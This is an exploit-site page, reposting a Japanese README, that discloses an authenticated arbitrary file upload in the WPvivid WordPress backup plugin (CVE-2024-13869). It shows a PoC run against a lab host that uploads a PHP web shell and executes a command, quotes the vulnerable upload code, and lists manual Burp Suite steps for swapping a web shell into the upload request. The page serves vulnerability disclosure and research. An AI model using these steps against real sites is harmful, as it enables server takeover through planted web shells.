Sploitus

Exploit for CVE-2024-13869

kitploit · 2026-09-03

Exploit Code

MARKDOWN149 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D0N601-CVE-2024-13869
# CVE-2024-13869

## 移行、バックアップ、ステージング – WPvivid <= 0.9.112 - 認証済み(管理者以上)による wpvivid_upload_file を介した任意ファイルアップロード

wpvivid-backuprestore プラグインは `wpvivid_upload_file` アクションのファイルタイプをサニタイズしないため、管理者以上の権限を持つユーザーが任意のファイルをアップロードし、サーバー上でコード実行を獲得できる可能性があります。

## TL;DR エクスプロイト

  * 管理者が `hack.php` という名前のウェブシェルをアップロードすることを実証する POC CVE-2024-13869.py が提供されています。



root@kitploit:~
    
    
    python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
    Logging into: https://lab0.hacker/wp-admin
    Extracting nonce values...
    ajax_nonce: a993fb1986
    Uploading web shell: hack.php
    {"result":"success"}
    
    Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php
    
    Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
           valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host 
           valid_lft forever preferred_lft forever
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
        altname enp0s3
        inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
           valid_lft 46962sec preferred_lft 46962sec
        inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
           valid_lft 86190sec preferred_lft 14190sec
        inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
           valid_lft forever preferred_lft forever
    3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
        link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
        altname enp0s8
        inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
           valid_lft forever preferred_lft forever
        inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
           valid_lft forever preferred_lft forever
    4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
        link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
        inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
           valid_lft forever preferred_lft forever
    </pre>
    

## 詳細

`wpvivid_upload_file` アクションは `/wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php` の 293 行目で `upload_files` 関数を呼び出しているようです。この関数は nonce とユーザーの権限をチェックしますが、サーバーにアップロードされるファイルタイプはチェックしません。

root@kitploit:~
    
    
        function upload_files()
        {
            check_ajax_referer( 'wpvivid_ajax', 'nonce' );
            $check=current_user_can('manage_options');
            $check=apply_filters('wpvivid_ajax_check_security',$check);
            if(!$check)
            {
                die();
            }
    
            try
            {
                $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
                $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;
    
                $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];
    
                $backupdir=WPvivid_Setting::get_backupdir();
                $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;
    
                $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");
    
                if ($out)
                {
                    // Read binary input stream and append it to temp file
                    $options['test_form'] =true;
                    $options['action'] ='wpvivid_upload_files';
                    $options['test_type'] = false;
                    $options['ext'] = 'zip';
                    $options['type'] = 'application/zip';
    
                    add_filter('upload_dir', array($this, 'upload_dir'));
    
                    $status = wp_handle_upload($_FILES['async-upload'],$options);
    
                    remove_filter('upload_dir', array($this, 'upload_dir'));
    
                    $in = @fopen($status['file'], "rb");
    
                    if ($in)
                    {
                        while ($buff = fread($in, 4096))
                            fwrite($out, $buff);
                    }
                    else
                    {
                        echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                        die();
                    }
    
                    @fclose($in);
                    @fclose($out);
    
                    @wp_delete_file($status['file']);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                    die();
                }
    
                if (!$chunks || $chunk == $chunks - 1)
                {
                    // Strip the temp .part suffix off
                    rename("{$filePath}.part", $filePath);
                }
    
                echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
            }
            catch (Exception $error)
            {
                $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
                error_log($message);
                echo wp_json_encode(array('result'=>'failed','error'=>$message));
            }
            die();
        }
    

## 手動での再現手順

  1. 管理パネルにログインし、`WPvivid Backup` タブに移動します。
  2. `Backup & Restore` の下で、`Backup Now` ボタンをクリックして新しいバックアップを作成し、後続の手順で使用できるようにダウンロードします。
  3. 再度 `Backup & Restore` セクションで、`Upload` タブに移動し、作成したばかりの `.zip` を選択します。 ![pre_upload](https://assets.kitploit.com/production/public/readmes/24304/3a77eda8d9f9800cbf6fbc5887dd27a8d430244c306004968fe671031fd50a66.png)
  4. Burp Suite または同様のツールを起動し、トラフィックのインターセプトを開始します。
  5. `Upload` をクリックし、`wpvivid_upload_files` アクションを呼び出す `/wp-admin/admin-ajax.php` への `POST` リクエストをインターセプトします。 ![intercept_call](https://assets.kitploit.com/production/public/readmes/24304/a0eb9b4c19aec38ee962317097a8c4b2bc8600c1f7743c9ab3b977d9b07667e1.png)
  6. 任意のファイルを含むようにリクエストを変更します。以下の例では、PHP ウェブシェルをアップロードしています。 ![modify](https://assets.kitploit.com/production/public/readmes/24304/0df74696022ec3aa81c3fb7cdd02b33a73bb45c595edd1a120f6bb518646851a.png)